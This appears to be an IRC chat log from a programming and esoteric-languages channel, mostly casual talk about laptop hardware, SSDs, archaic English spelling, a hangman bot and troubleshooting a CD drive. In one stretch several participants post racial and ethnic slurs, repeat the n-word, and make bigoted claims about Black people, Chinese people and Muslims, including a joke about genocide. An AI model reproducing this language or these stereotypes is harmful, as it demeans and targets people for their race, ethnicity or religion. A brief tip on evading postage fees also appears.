19:21:54 it seems to be wishful thinking that I could purchase a 12" OLED display at such a high resolution 19:22:05 especially as I want it raw (to put in a laptop chassis) 19:22:46 ehird, I never heard of anyone building a laptop 19:23:02 maybe due to them being so compact 19:23:13 AnMaster: i want a netbook that's extremely light and small but still usable for typing etc 19:23:21 all you need is a good hammer 19:23:24 current crop sucks 19:23:34 ehird, it would be quite a bit trickier than building a normal desktop computer 19:23:36 so the idea is: buy laptop chassis, buy thin components, hack at them until it all fits 19:23:49 AnMaster: yep 19:23:52 due to the compactness and often non-standard card size to fit in and such 19:24:00 AnMaster: heck, even most motherboard chipset heatsinks stick up too high 19:24:05 I'm not sure you could get all the components easily 19:24:08 also their upwards ram mounting system 19:24:19 (needs to be sideways for flatness) 19:24:24 yes indeed 19:24:31 I wonder how the macbook air does it 19:24:39 You couldn't even fit a fan or a drive in a case that thin 19:24:41 it doesn't 19:24:47 which is why the performance sucks so bad 19:24:49 ;P 19:24:56 AnMaster: the macbook air performance is fine 19:25:02 it's a core 2 duo w/ 2gb ram 19:25:05 (the higher model that is) 19:25:06 so. The joke failed 19:25:07 hm 19:25:10 but srsly: 19:25:11 http://upload.wikimedia.org/wikipedia/commons/0/0f/MacBook_Air_black.jpg 19:25:18 ehird, it is thinner at the edges 19:25:24 i can't see an opportunity for a fan, drive, heatsink, anything really 19:25:28 so it does seem thinner than it actually is 19:25:40 hello chillin. 19:26:10 ehird, http://www.anandtech.com/mac/showdoc.aspx?i=3217 19:26:20 i thought you didn't trust anand :) 19:26:45 * ehird clicks printed version to avoid the woes of multi-page articles 19:26:53 "The big black thing that takes up the majority of the real estate is the Air's battery" 19:26:55 what the fuck 19:26:56 it's gigantic 19:27:08 ehird, I always want to verify tests and such. "Trust him about this product being oh so great" is rather different from "showing the inside of a computer model" 19:27:12 bbl phone 19:27:23 AnMaster: erm, the ssd article had benchmark results 19:27:30 including descriptions of which benchmarks were run 19:28:18 "The MacBook Air hard drive is a 1.8", 5mm thick PATA drive from Samsung. It features a 8MB buffer and spins at 4200RPM." 19:28:22 now THAT's tiny/slow! 19:32:05 -!- KingOfKarlsruhe has joined. 19:34:34 ofc i'm rather picky about what i'd want 19:34:42 built-in wifi/3g, for one 19:34:51 although i could perhaps use a pci/e card at a stretch 19:40:16 -!- asiekierka has quit. 19:41:05 -!- Corun has quit. 19:41:32 -!- Corun has joined. 19:42:52 back 19:43:14 oerjan: btw, is it the actual quantum immortality position that you can't die in your own world, as opposed to only not being able to die via quantumly means? 19:43:26 ehird, yes, but it all depends on what you benchmark. I'm not saying SSD is bad. I'm just saying I'm not going to blindly trust a single source about them 19:43:37 or anything else where I plan to buy something 19:43:38 AnMaster: he used standard industry drive performance benchmarks 19:43:48 there's not really anything else more thorough you could do... 19:43:53 ehird: the former i assume 19:44:07 oerjan: it seems rather wishful 19:44:38 ehird, sure. But they don't tell everything. Reading about user experience with the units is also relevant. 19:44:54 and yes I never said SSD was bad. 19:44:58 who's got red beard? 19:44:58 AnMaster: http://torvalds-family.blogspot.com/2008/10/so-i-got-one-of-new-intel-ssds.html 19:45:00 me 19:45:02 good enough for you? ;) 19:45:04 who's awesome? 19:45:06 ehird: _every_ mean is a quantum mean 19:45:09 i am awesome 19:45:13 oerjan: yeah 19:45:16 Just I never trust one single source where I plan to buy something 19:45:19 oerjan: but the whole thing seems wishful 19:45:24 s/where/when/ 19:45:29 well duh 19:45:44 oerjan: i'm just wondering why they think it apart from pure wishfulness 19:46:25 lol 19:46:32 philosophy? 19:46:50 (also why the heck are you asking me...) 19:47:03 oerjan: you're a mathematician. mathematicians know everything to do with mathematics. 19:47:06 "A committed atheist, he had asked to be thrown out with the trash after his death." 19:47:20 "Everett's daughter, Elizabeth, suffered from schizophrenia and committed suicide in 1996 (saying in her suicide note that she was going to a parallel universe to be with her father)" 19:47:21 erm 19:47:24 I don't think it works that way 19:47:24 average ruby code looks like: @a = a; @b = b; ...; @n = n; some.quite.long.dot.chain.map! {|lalala| ... }.something 19:48:05 well no they don't, also many worlds is a physical theory, at least at the level where quantum immortality would happen... 19:48:17 oerjan: well yes they do! :-) 19:48:20 it's a true fact. 19:49:45 Torvalds blogs... didn't think he was that type 19:50:01 he started very recently 19:50:20 oerjan: erm he started in 2008-10 19:50:27 * coppro tries to imagine RMS bloggin 19:50:28 so 6 months 19:50:29 +g 19:50:30 that's very recently 19:50:33 coppro: he does 19:50:38 * coppro explodes 19:50:38 http://stallman.org/ 19:50:39 of a sort 19:50:46 it's a bit too lo-fi to be called a blog exactly 19:50:51 but it's just as obnoxious as your average on 19:50:52 e 19:51:01 hahaha he still has the don't buy harry potter books then 19:51:04 *thing 19:51:08 at the top of his page 19:51:19 http://stallman.org/images/cartoon-economists.png 19:51:19 O_O 19:51:21 "SHIP OF STATE" 19:51:24 "ECONOMISTS" 19:51:31 How to know your comic sucks ass: you label things. 19:51:40 It's a meter four, see! 19:52:04 * oerjan recalls triangle & robert's sheep 19:52:29 "US citizens: The site change.org allows people to propose and support political ideas. One that I supported is a new investigation of how the 9/11 attacks were carried out, and who was responsible." 19:52:30 —RMS 19:52:34 hahaha he's a truther? 19:52:37 brilliant 19:52:52 "As individual suspects, Bush and Cheney must not be punished without being convicted in a fair trial. As the level of politics, however, given that they blocked and corrupted the investigation into their possible guilt, we must consider them guilty until a real investigation is allowed." 19:53:02 As we all know, people are guilty until proven innocent, if we don't like them. 19:54:09 well, not everyone. but you are. 19:54:09 ehird: truer words have not been spoken! 19:54:20 also, i agree, ehird, you're guilty. 19:54:29 Also, free speech only applies to people who are right. 19:54:39 GUILTY/SILENCE 19:54:44 ofcourse! if you're wrong, you have to pay to speak.. 19:54:50 yes, lefties are commies and should have no free speech 19:55:26 heck they don't really want it anyway 19:55:44 as soon as they get power, they abolish it 19:57:06 same with the chinks and the niggers in africa 19:57:13 I should argue that SILENCE violates the right of participation in the fora 19:57:21 nigger nigger nigger nigger 19:57:43 Nigger is a word meaning nigger. 19:57:48 Why are we talking about niggers again? 19:57:50 Oh, oerjan. 19:57:53 That bloody racist. 19:58:26 it's not racism if it's a fact. look at how the chinks are _helping_ the niggers in africa get rid of free speech. 19:59:04 and a little genocide on the side 19:59:26 Genoside on the cide 19:59:50 funny thing 19:59:56 there are black ppl everywhere 20:00:00 and the muslims 20:00:07 why is that funny 20:00:07 we should always be on the side of the genes. how can that be racism? 20:00:38 jean 20:00:39 jeans 20:00:41 nooga: well that's because they're breading like pigs 20:00:45 *breeding 20:00:46 and they start to force western europe to obey them in some way 20:00:48 sorry about that 20:01:17 actually that should be rabbits, at least for the muslims, they don't care for pigs 20:01:39 in Poland: muslims come and say "obey our stupid rights to kill our wives" and poles don't give a fuck, beat them hardly and let them go to their countries 20:01:49 the chinks do though, that's why we have so much flu 20:01:51 "We didn't invite you. eot." 20:02:11 -!- kar8nga has quit (Remote closed the connection). 20:02:14 ppl are sooo untolerant here 20:04:45 BUTTS!!! LOL 20:05:37 hmm 20:06:09 is there a way to order something in an internet store and recieve that without having them know who you are? 20:06:21 anonymous mailbox? ;f 20:08:21 yes 20:08:23 mailinator.com 20:08:42 nooga: just use their generated address 20:08:45 and click on it after using it 20:08:55 then you can just trash it 20:08:56 ehird: Erm, not emailbox 20:09:03 ohhhh 20:09:03 :D 20:09:05 i mean 20:09:08 irl 20:09:09 the real mail 20:09:11 nooga: erm a po box or sth? 20:09:15 i think you can't do that by design 20:09:27 hehe 20:09:50 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 20:10:00 nooga: can't you just use a fake name 20:10:02 w/ a real address 20:10:08 nooga mcnoogason 20:10:26 but po box seems to be the thang 20:10:26 funny thing that you could send mail without post stamps: enter reciever as sender, you as a reciever, put thing in mailbox 20:10:38 the letter will be sent to the right person 20:11:12 :D 20:11:21 nooga: only in poland i assume 20:11:25 yea 20:11:30 but they've noticed it 20:11:39 and it does not work anymore 20:11:54 :) 20:11:57 because mail without post stamps was supposed to be sent back to the sender 20:12:05 yeah 20:19:47 when i write my name and surname 20:20:32 i should use: Marcin Gasperowicz or Martin Gasperowicz or Martin Gasperovitch 20:20:35 ?:D 20:20:50 -!- Slereah_ has joined. 20:21:32 -!- nooga has quit (Remote closed the connection). 20:30:07 ais523: how does eomdermderomedomromeodmeormeormormodmeoreodmeofmeormdoemroemdomeroemdoer work? 20:30:37 ehird: read the wiki 20:30:52 i did 20:31:55 ais523: didn't help. 20:34:28 Why, there's no eomdermderomedomromeodmeormeormormodmeoreodmeofmeormdoemroemdomeroemdoer page on the wiki. 20:35:24 How odd! 20:35:48 GregorR-L: Why, you've ſtopped þe ſcript. 20:36:04 psygnisfive was being bitchy :P 20:36:12 ere, 'ts back. 20:36:18 Stab him hard. 20:36:20 ^_^ 20:36:20 i wasnt being bitchy 20:36:24 i was saying you were doing it wrong 20:36:31 AND you were doing it by a script 20:36:33 which is lame 20:36:39 your mother is lame 20:36:43 pikhq: See. 20:36:44 VERY true 20:36:49 -!- Slereah has quit (Read error: 110 (Connection timed out)). 20:37:18 psygnisfive: Þou ſeëſt þat we care not. 20:37:18 ;) 20:37:53 pikhq: seëst? 20:38:03 the two Es are pronounced the same 20:38:05 fix it to at least do long-s where it should be: non-word finally not after a long-s 20:38:13 ¨ represents two vowels in a row that are pronounced differently 20:38:22 pſygnisfive: Uhhhhh, þat's what it doþ do. 20:38:26 ehird: yes, that was his intention 20:38:36 Wouldn't it be "seeëst" 20:38:38 gregorr-l: apparently not! 20:38:44 Deewiant: yep 20:38:52 ehird: I was wondering if þou wouldſt catch þat. :p 20:38:55 seëst is pronounced seh-ehst 20:39:02 which is dumbtarded :) 20:39:05 why would it be seeëst? 20:39:12 see-est 20:39:18 psygnisfive: ſee-est. 20:39:19 what Deewiant sed 20:39:20 Erm. 20:39:22 pſygnisfive: Every inſtance of it in þat laſt ſentence, and þis one, is non-word-final and not after a long-s ... 20:39:25 psygnisfive: ſee-eſt. 20:39:29 oh sorry i misread what he meant to say 20:39:33 shouldn't that be seést? 20:39:37 i am confused! 20:39:45 myndzi: Not in Engliſh. 20:39:58 oh right, i'm reading up 20:40:02 GregorR-L: : yes, and yet a non-word-final not-after-long-s "s" was NOT converted! 20:40:05 in my NAME! 20:40:07 but i've never seen ë in english 20:40:09 anywhere 20:40:16 GregorR-L: "pſygnisfive" 20:40:22 whats that s doing there before f 20:40:23 HUH? 20:40:28 your script is broken 20:40:34 psygnisfive: s before f is always ſhort. 20:40:53 lies 20:41:03 No, 'tis true. 20:41:15 psygnisfive's name is ghoti 20:41:18 I was told by pikhq to do it at way, and I'm waaaay to lazy to look it up. 20:41:34 I looked it up. 20:41:40 -!- Corun has changed nick to Corun|away. 20:41:55 Þou wouldſt do well to do þe ſame. 20:42:08 ha ha ha! all your work is wasted! i just replaced them all back to something that looks right 20:42:09 :> 20:42:22 myndzi: Þou ſeem to have done þat much faſter þan AnMaſter. 20:42:55 myndzi: Uſing AnMaſter's ſcript? It's quite broken. Þought þou ſhould know. 20:42:57 correction: seemest! (seem'st?) 20:43:04 ? 20:43:14 no, i just added an input filter in my own script 20:43:19 to turn all the unicodes back to their proper letters 20:43:39 Ah. So, not AnMaſter's broken ſcript. 20:43:48 placement doesn't matter in that case, obviously ;) 20:43:54 so i can ignore the rules 20:44:43 I ſould ſtab þou hard. 20:45:24 * #eſoteric :Illegal channel name 20:45:26 :( 20:45:30 s/ſould/ſhould/ 20:45:46 -!- kar8nga has joined. 20:45:51 GregorR-L: /topic #esoteric #eſoteric: ... 20:45:58 pikhq: I tried to /join 20:45:59 :P 20:46:26 Alſo, əſötərıc FTW? 20:46:34 FTL 20:46:41 -!- Corun|away has changed nick to Corun. 20:47:33 myndzi: "reënter" 20:48:29 -!- nooga has joined. 20:48:31 never seen it 20:48:39 with the dots 20:48:51 Not surprising, it's archaic 20:49:06 It's actually ſtill in (rare) uſe, moſt people juſt ignore it. 20:49:08 it's the most beautiful-est archaism ever 20:49:26 Deewiant: IIRC, a few publications ſtill use it. 20:49:30 s/use/uſe/ 20:49:33 i've seen accents not dots 20:49:36 pikhq: Yes, but it's still archaic. 20:49:37 http://en.wikipedia.org/wiki/Floptical 20:49:39 FLOPTICAL! 20:49:41 what's eomdermderomedomromeodmeormeormormodmeoreodmeofmeormdoemroemdomeroemdoer 20:49:43 but not for the double vowel thing 20:50:12 Naïve is ſtill conſidered correct. 20:50:21 The New Yorker, for example, ſtill uſes it. 20:50:21 I ſtill ſpell it þat way. 20:50:24 nooga: eomermdrome? 20:50:25 Err 20:50:28 eodermdrome* 20:50:40 Þe diacritical mark in Engliſh means "pronounce þis vowel ſeparately, not as a diphtong" 20:50:57 sucks 20:51:22 Engliſh needs it, IMO. 20:51:34 the new yorker is so pretentious :) 20:51:54 ehird: Correct Engliſh is pretentious now? 20:52:04 the new yorker is pretentious in general 20:52:05 Well, fuck. 20:52:23 ī 20:52:24 ? 20:52:51 nooga: Þat's moſt commonly uſed in the Romanization of Japaneſe. 20:53:07 i ſee 20:53:10 Erm, never mind. 20:53:25 Macrons are uſed to elongate everything *but* i. 20:53:39 i is doubled, inſtead. 20:53:48 ah 20:54:25 "Benkyō shimasu" is an obvious example... 20:54:28 Instyd of ryplacing all vywyls with q, how abyt jyst ryplacing a, e, u, ae and ou with y? 20:55:01 Actuylly, ryplace i wyth y too. 20:55:08 Vyry Wylsh. 20:55:09 ehird: I killeſt þou. 20:55:32 BTW, y in Welſh is a single vowel. ;) 20:55:41 pykhq: Shyt yp (ooh, thyt doysn't work too wyll), hythyn. 20:56:04 Cymrag. 20:56:09 Yeah, but w in Welſh is a vowel. 20:56:10 silence, knave! 20:56:12 ;) 20:56:14 So ſcrew Welſh. 20:56:19 knyvy? 20:56:24 o ynd y: thy two myn vowyls of thy world. 20:56:27 GregorR-L: Welſh has fun phonemes. ;) 20:56:28 i get spam in Welsh 20:56:45 a friend of mine skeaks fluent welsh o.o 20:57:31 Q qqqq, qqq'q qqqq qqqqqqq QQQQQQQQQQ qqqq Q! 20:57:35 I wonder how one ſkeaks. 20:57:43 Ryplacying yll syqyncys of vowyls ypyrt from o wyth y ys a fyn thyng to do. 20:57:53 Usch 20:57:56 Eh 20:57:58 Ouch 20:58:00 i'll replace your mom with a y 20:58:03 OOH! 20:58:37 ehird: It doeþn't make Engliſh incomprehenſible, but only becauſe Engliſh is comprehenſible wiþout vowels. 20:58:54 Fr 'xmpl, cnſdr þs ſntnc. 20:58:54 ;) 20:59:01 Wh nds vwls nw. 20:59:12 nn 20:59:12 i'd like to buy a vowel 20:59:31 'nglſh 's vry wll ſrvd by 'n 'bjd. 20:59:32 nooga, nice one there 20:59:34 Ryplycying syqyncys of vowyls ypyrt from o ynd u wyth y ys a fun thyng to do. (Us yre sycryd.) 20:59:35 I mean 20:59:43 ng, nc n thr 20:59:47 thnk 20:59:57 ' knw, bcs my cſtm wrtng ſyſtm 's 'n. 21:00:25 has started a new Hangman game! 21:00:28 (Hangman) ??????? (Guessed: Left: 10) 21:00:38 How do one play? 21:00:45 .. !guess letter(s) 21:00:51 !guess e 21:00:52 each letter counts as a guess 21:00:54 (Hangman) ??????? (Guessed: e Left: 9) 21:00:56 !guess þ 21:00:57 (Hangman) ??????? (Guessed: eþ Left: 7) 21:01:00 Deewiant: lol 21:01:01 laf 21:01:02 <.< 21:01:07 !guess a 21:01:08 (Hangman) ??????? (Guessed: eþa Left: 6) 21:01:11 !guess s 21:01:11 it doesn't count utf-8 properly 21:01:12 (Hangman) ??????? (Guessed: eþas Left: 5) 21:01:13 ...no wovels 21:01:17 !guess ð 21:01:18 i figured you guys were talkin about how you didn't like vowels 21:01:19 :> 21:01:20 Already guessed: à 21:01:20 (Hangman) ??????? (Guessed: eþas° Left: 4) 21:01:37 !guess r 21:01:39 (Hangman) ??????? (Guessed: eþas°r Left: 3) 21:01:41 !guess ŧ 21:01:41 :( 21:01:42 !guess q 21:01:42 (Hangman) ??????? (Guessed: eþas°rŧ Left: 1) 21:01:44 (Hangman) Game over! (Answer: godhood) 21:01:45 but that's not really true, this is just my favorite hangman word to use 21:02:04 GregorR-L: Dammit, I was trying for -1 guesses left 21:02:04 Nice one 21:02:18 haha 21:02:22 probably would have worked too 21:02:24 Deewiant: It'd be even nicer to have -2. 21:02:27 Hm 21:02:39 i've also got... 21:02:44 !hang ?y?y?y abc 21:02:45 No matches. 21:02:46 pikhq: Or -3. Of course, if it accepts -1 you can probably do any -n. 21:02:51 guess i spelled it wrong 21:02:51 Þough for þat, you'd need ſomeþing out of þe BMP, m'þinks. 21:03:13 Well yes, 0xffff is 3 bytes. 21:03:15 actually, no it wouldn't have worked 21:03:21 it's seeing your utf-8 characters as separate letters 21:03:31 yeah 21:03:31 and it already has support for not going negative 21:03:32 like 21:03:33 !guess abcdhf 21:03:34 for example 21:03:45 !guess aeiouy 21:04:00 myndzi has started a new Hangman game! (Hint: lols) 21:04:02 (Hangman) ????????? (Guessed: Left: 10) 21:04:06 !guess aeiouy 21:04:08 (Hangman) ?o?e??i?? (Guessed: auy Left: 7) 21:04:09 !guess abcdefghijklmnopqrstuvwxyz 21:04:09 (Hangman) Game over! (Answer: something) 21:04:11 :-D 21:04:12 see :P 21:04:20 one fun thing i used to do when i ran this script is 21:04:27 when i have a guess for the word, 21:04:35 i'd try to come up with a !guess that would say something and also win 21:04:47 (say the remaining letters in the correct order without running out of guesses, but in sentence form) 21:05:03 !hang ?o?e??i?? y 21:05:03 No matches. 21:05:08 hmm, something's wrong 21:05:15 maybe it can't find the wordlist 21:05:24 !hang a butt 21:05:26 butt 21:05:32 yes myndzi 21:05:32 butt 21:05:40 .....or i could have forgotten my own syntax 21:05:41 lol. 21:05:45 !hang f ?y?y?y 21:05:46 syzygy 21:05:52 that is the case :( 21:05:56 !hang / /g/g/ 21:05:58 No matches. 21:06:02 !hang aeiouy ?o?e??i?? 21:06:03 No matches. 21:06:12 !hang auy ?o?e??i?? 21:06:13 No matches. 21:06:15 wtf 21:06:16 !hang abcdefghijklmnopqrstuvwxyz ?f?t?r??f 21:06:20 No matches. 21:06:25 the letters are exclusions 21:06:34 Heh 21:06:40 !hang z ?o?e??i?? 21:06:40 !hang z ??????? 21:06:41 No matches. 21:06:42 aarrghh abalone abandon abasers abashed abashes abasias abasing abaters abating abators abattis abaxial abaxile abbotcy abdomen abduced abduces abducts abelian abelias abettal abetted abetter abettor abeyant abfarad abhenry abiders abiding abigail ability abioses abiosis abiotic abjured abjurer abjures ablated ablates ablauts ablings abluent abluted aboding abolish abollae abomasa abomasi aborted aborter 21:06:43 abought aboulia aboulic abounds abraded abrader abrades abreact abreast abridge abroach abrosia abscess abscise abscond abseils absence absents absinth absolve absorbs abstain absurds abubble abulias abusers abusing abusive abuttal abutted abutter abvolts abwatts abysmal abyssal abysses acacias academe academy acajous acaleph acanthi acapnia acarids acarine acaroid acaudal acceded acceder accedes accents 21:06:44 accepts accidia accidie acclaim accords accosts account accrete accrual accrued accrues accurst accusal accused accuser accuses acedias acequia acerate acerber acerbic acerola acerose acerous acetals acetate acetify acetins acetone acetose acetous acetyls achenes achiest achieve achiote acholia acicula acidify acidity aciform 21:06:44 !hang z ?f?t?r??f 21:06:46 uh oh 21:06:48 No matches. 21:06:51 Uh, all right 21:06:52 i knew someone'd do that eventually :\ 21:06:53 !hang ???? 21:06:58 'something' must not be in the ospd3 21:07:01 not the ideal wordlist i guess 21:07:01 -!- whtspc has joined. 21:07:08 hi whtspc 21:07:16 weird 21:07:17 it isn't 21:07:23 Meh, I couldn't know what'd happen, could I? 21:07:36 [22:06:42] aarrghh 21:07:36 Heh 21:07:43 !hang eou wh?t?sp?c? 21:07:48 No matches. 21:07:52 er wait 21:07:55 -e 21:07:56 !hang ou wh?t?sp?c? 21:07:56 probably not a dictionary word 21:08:00 No matches. 21:08:05 if someone wants to link me to a proper wordlist i'll put that in :P 21:08:50 !hang aou sp?ll?ng 21:08:54 spelling spilling 21:09:00 if you wanna screw around there's also /msg myndzi !hangman #channel "word or phrase" hint text 21:09:41 -!- oerjan has quit ("But ZZZZZZZZZZZZZZZZZZZZ"). 21:10:18 myndzi: Maybe http://rs249.rapidshare.com/files/81559933/1.5_Million_Word_List.rar is better 21:10:21 Do you always get 10 guesses? 21:10:43 !hangman #esoteric "word or phrase" hint text 21:11:07 Deewiant: i have a bigger one but it's a little bit too big :) 21:11:14 FireFly: yes 21:11:18 How can it be too big :-P 21:11:21 myndzi: that's what 21:11:21 SH 21:11:22 E 21:11:24 SAID 21:11:26 GregorR-L: 21:11:28 dkf 21:11:32 Deewiant: it takes a long time to search 21:11:46 No clever data structures? 21:11:59 it's a silly mirc script 21:12:02 it just uses /filter with a regex 21:12:10 Ugh 21:12:21 the problem isn't the size, it's what it's implemented in :P 21:12:23 which itself is reasonably fast, just not on 200mb files 21:12:29 not in this case 21:12:33 Ah, well 21:12:37 none of the filtering is done in mirc script :) so it's pretty fast 21:12:49 I don't remember that much from when I scripted in mIRC 21:12:54 wait 21:12:57 200mb was the COMPRESSED version 21:12:58 But I remember that vars are stored in external files 21:13:07 that musta been a long time ago 21:13:15 they still are, but local variables are in memory 21:13:21 I sure hope so 21:13:34 and i'm pretty sure the variable file is cached in memory too 21:13:44 but i'm reasonably certain it's not held in a hash table or something useful like that 21:13:58 FireFly: But I remember that vars are stored in external files 21:14:00 wwwwwwwwwwwwwwwwwwwwwaaaaaaaaaaaaaaahhhhhhhhhhhhhtttttttttttt 21:14:25 myndzi: A 200-megabytes-compressed wordlist? Nice. 21:14:42 I think the biggest I have/had lying around is 70 uncompressed 21:16:03 what the fuck... 21:16:15 # file -s /dev/sr0 21:16:15 /dev/sr0: ERROR: cannot read `/dev/sr0' (Input/output error) 21:16:21 there is a CD in it 21:16:27 the same happens for all cds 21:16:27 Bad CD or drive 21:17:25 Deewiant, cd works in other computer. Guess I will have to shut down and check that every cable is properly attached... 21:17:38 (since I had to move stuff around in the computer recently) 21:18:38 Deewiant: that's pretty much why it is slow :) 21:18:40 very well. It isn't urgent, while other stuff is. And I will have to shut down soon anyway, since one of the fans in the computer is breaking down... 21:18:53 the replacement one should arrive at Monday 21:19:25 however 21:19:27 ejecting works 21:19:29 very strange 21:19:34 I mean 21:19:38 with the eject command 21:19:54 -!- whtspc has quit ("ChatZilla 0.9.84 [Firefox 3.0.10/2009042316]"). 21:20:29 AnMaster: There are plenty of parts that could be broken in such a way that discs can't be read but the mechanism still works. 21:20:43 hm 21:21:02 (On the software side too, I guess.) 21:21:09 well I do have some other old optical units... could use one of them 21:21:21 Deewiant, and yes. rebooting is worth a try. later 21:21:33 * AnMaster wonders about streaming cd across network 21:21:41 since the other computer is headless 21:21:58 If your network is fast enough, the drive will be the bottleneck :-P 21:22:20 cat /dev/sr0 | nc and nc | aplay ? 21:22:23 well no 21:22:32 but that seems like a bad solution 21:23:30 Deewiant, [computer with working cd player] - 100 mbps ethernet - [gbit ethernet switch] - gbit ethernet - [computer with speakers] 21:23:33 should be fast enough 21:23:38 but what is a good WAY to do it 21:23:41 was what I meant 21:23:53 why is that a bad solution 21:23:56 that's what nc is designed for 21:24:05 ehird: It transmits the whole disc needlessly. 21:24:06 ehird, well.. aplay directly won't work. 21:24:12 also 21:24:12 Deewiant: what? 21:24:13 cat /dev/foo is quite wasteful. 21:24:17 so? 21:24:19 I want to listen to the 5th track 21:24:22 If he just wants to play a track 21:24:23 not all the other ones 21:24:26 Deewiant, indeed 21:24:30 ehm ripping a cd takes like 3 minutes 21:24:34 shorter than you've been taling 21:24:35 talking 21:24:36 the whole thing 21:24:38 so why does it matter 21:24:45 ehird, 3 minutes? the computer is an old pentium3 21:24:50 it is slow for everything 21:24:54 What's the drive's speed? 21:24:56 the drive is a 4x 21:24:57 ... 21:25:01 Hmm, 4x 21:25:02 it's IO-bound you doofus 21:25:11 everything to do with CDs is IO-bound 21:25:13 That's around 0.6 MB/s 21:25:20 Deewiant, iirc. might be 2x... *wonders how to check* 21:25:29 1x is around 150 KiB/s 21:25:58 there is no speed written on the drive itself 21:26:02 as far as I can see 21:26:05 So if you have a 650 MB disc that's 18 minutes 21:26:27 Just ripping the one WAV that you want would take a lot less than that 21:26:32 ... 650 MB disc that's 18 minutes? 21:26:39 um 21:26:44 'scuse me, what sort of huge 18 minutes is this? 21:26:54 1x would be 74 minutes iirc? 21:26:58 or something like that 21:27:01 assuming full disc 21:27:08 ehird: 650 MB / 0.6 MB/s = 18 minutes 21:27:47 Oh. 21:27:51 You meant, to rip. 21:27:56 I thought you meant 18 minutes of audial content. 21:28:52 anyway. It is 4x. Says cdparanoia 21:29:02 Then it's the 0.6 MB/s I was using above. 21:31:05 ehird, so those 3 minutes were a bit low estimate 21:31:06 :P 21:31:16 i was assuming a modern ~40x drive 21:31:24 Well, you've been talking 15 minutes now ;-) 21:31:29 ehird, the broken drive is 40x 21:31:42 Deewiant, it as been ripping for ~7 minutes 21:32:02 ehird, wait, it is 48x even... 21:33:26 oh this is STRANGE 21:33:43 now reading on the "broken" drive works in cdparanoia. Not with file though 21:33:57 wait what 21:34:15 it is finding the drive at /dev/sg1 instead of the usual /dev/sr0 21:34:15 cdparanoia bypasses the device layr 21:34:16 layer 21:34:16 iirc 21:34:23 NOW THIS DOESN'T MAKE SENSE AT ALL 21:34:29 :( 21:34:48 file -s /dev/sg0 can't read it still 21:36:52 err nor sg1 21:37:00 I don't HAVE two cd drives 21:37:11 lshw claims it is at sr0 21:38:30 eject /dev/sg1 doesn't do anything, eject /dev/sr0 ejects the expected drive 21:38:52 ok... 21:40:15 hm 21:40:29 it behaves more sanely for data cds 21:40:34 but why are music cds broken 21:41:03 I mean, nothing can play them now 21:44:25 ok. nfs is acting strange 21:44:53 ls shows a file is there. tab complete claimed it wasn't. Until I waited for half a minute 21:45:00 how strange 21:46:34 Deewiant, btw the music cd seems to have been a full 700 MB? I didn't know that was valid for music cds 21:46:52 on the other hand I can't see a good reason for it to not be valid. 21:48:23 $ file track00.cdda.wav 21:48:23 track00.cdda.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz 21:48:25 that's odd 21:48:30 it isn't playable 21:49:13 od shows it is mostly zero bytes 21:49:19 try track 01. 21:49:21 zero bytes with a wav header 21:49:21 it's probably a data track 21:49:32 ehird, for a cd from 1987? 21:49:40 who knows :P 21:50:42 ehird, http://pastebin.ca/1441501 21:50:57 try track 01. 21:51:06 ehird, yes that is correct 21:51:07 but 21:51:14 I was wondering what on earth this one was! 21:51:18 dud disk header? 21:51:37 dud? typo for dude? 21:51:49 dud as in dud. 21:51:51 ah 21:52:03 well maybe cdparanoia -B generates that 21:52:08 haven't noticed it before though 21:52:39 meh 21:56:25 ok... /dev/sg* seems to be character device access to drives (not sure which types of drives yet... since I have sg0 to sg3 and just two harddrives (one sata and one pata) and one cd/dvd drive...) 21:56:29 (in that computer) 21:56:44 sr0 is the block device 21:58:12 why does it play so much lower than usual.... 21:58:23 meh 21:58:39 * pikhq observes that a music CD can have up to 800 MB. 21:59:01 A 700 MB CD-ROM has 100MB of data correction overhead. 22:10:58 hm.. http://pastebin.ca/1441510 22:11:01 what the hell 22:11:03 -!- KingOfKarlsruhe has quit (Remote closed the connection). 22:12:35 that happens every time I try to read an *audio* cd 22:18:08 pikhq: Except at it's practically guaranteed to be flawed :P 22:18:41 -!- Corun has changed nick to Corun|away. 22:21:11 -!- Corun|away has changed nick to Corun. 22:21:45 * AnMaster test rips with cdparanoia 22:22:03 works... 22:22:25 would this mean the issue is purely a software problem? 22:22:26 ehird, ^ 22:23:31 since 1) only audio cd, 2) only accessing it using the usual sr interface that most software players use. 3) cdparanoia reads it using the sg interface. Not sure if it usually does that... 22:27:06 GregorR-L: No, it's not. A CDDA also contains error correction. 22:27:08 Just less of it. 22:28:22 Not to my recollection, but þat's hardly my area of expertiſe :P 22:30:58 CDDA includes cross-interleaved Reed-Solomon coding. 22:32:10 Which is a slightly complex parity scheme. 22:50:02 -!- kar8nga has quit (Remote closed the connection). 23:17:09 "Or were you referring to Intel macs, rather than Apple macs?" 23:17:16 wwwwwwwwwwwwwwhhhhhhhhhhaaaaaaaaaaaaatttttttttt 23:26:55 actually, what about IBM macs? 23:27:35 ais523: vut? 23:27:50 I was drawing an analogy with Intel macs 23:29:07 I know 23:33:26 -!- dbc has quit (Read error: 110 (Connection timed out)). 23:42:16 IBM Macs? Well, IBM could in *theory* have gone into the Mac clone business when Apple allowed it. 23:42:30 Juſt like Intel haþ now? ;) 23:42:43 GregorR-L: Nah. 23:42:52 It'd be funny if Intel made some Macs, though. 23:47:05 -!- nooga has quit (Read error: 110 (Connection timed out)). 23:47:55 Hmm. 23:48:06 Finding somewhere that sells OLED displays is hard. 23:48:16 The OS X EULA forbids installing OS X on "non Apple-labeled computers". 23:48:41 pikhq: No, that loophole won't work. 23:48:45 Lawyers. :) 23:48:51 ... Wouldn't sticking an Apple label on a computer work? :p 23:48:54 They have the cash to paper over that loophole, you don't. 23:49:00 people have discussed that quite a bit 23:49:08 pikhq: but, nothing's stopping you ripping out the EULA 23:49:10 although I can't remember what the conclusions were 23:49:17 so that you never run it 23:49:23 I think it was argued that the EULA meant "was labeled by Apple" 23:49:26 The more valid question is: does that count as an antitrust violation? 23:49:27 although that's probably illegal too 23:49:30 pikhq: no 23:49:37 so it doesn't matter what sort of label's on there, just so long as Apple put it there 23:49:41 apple are perfectly allowed to require their users only to sue it on their hardware 23:50:07 myndzi: congrats on knocking defend9 off the top spot 23:50:21 did you improve your programs, or is the hill just more hostile to defend9alikes now? 23:50:23 ehird: Unless it's determined that, in doing so, they are violating antitrust laws. 23:50:31 pikhq: Burden of proof 23:50:34 ehird: have you seen defend9 by the way? it's insane 23:50:44 ais523: dunno 23:50:44 Any such bundling, though probably legal, is a somewhat tricky area. 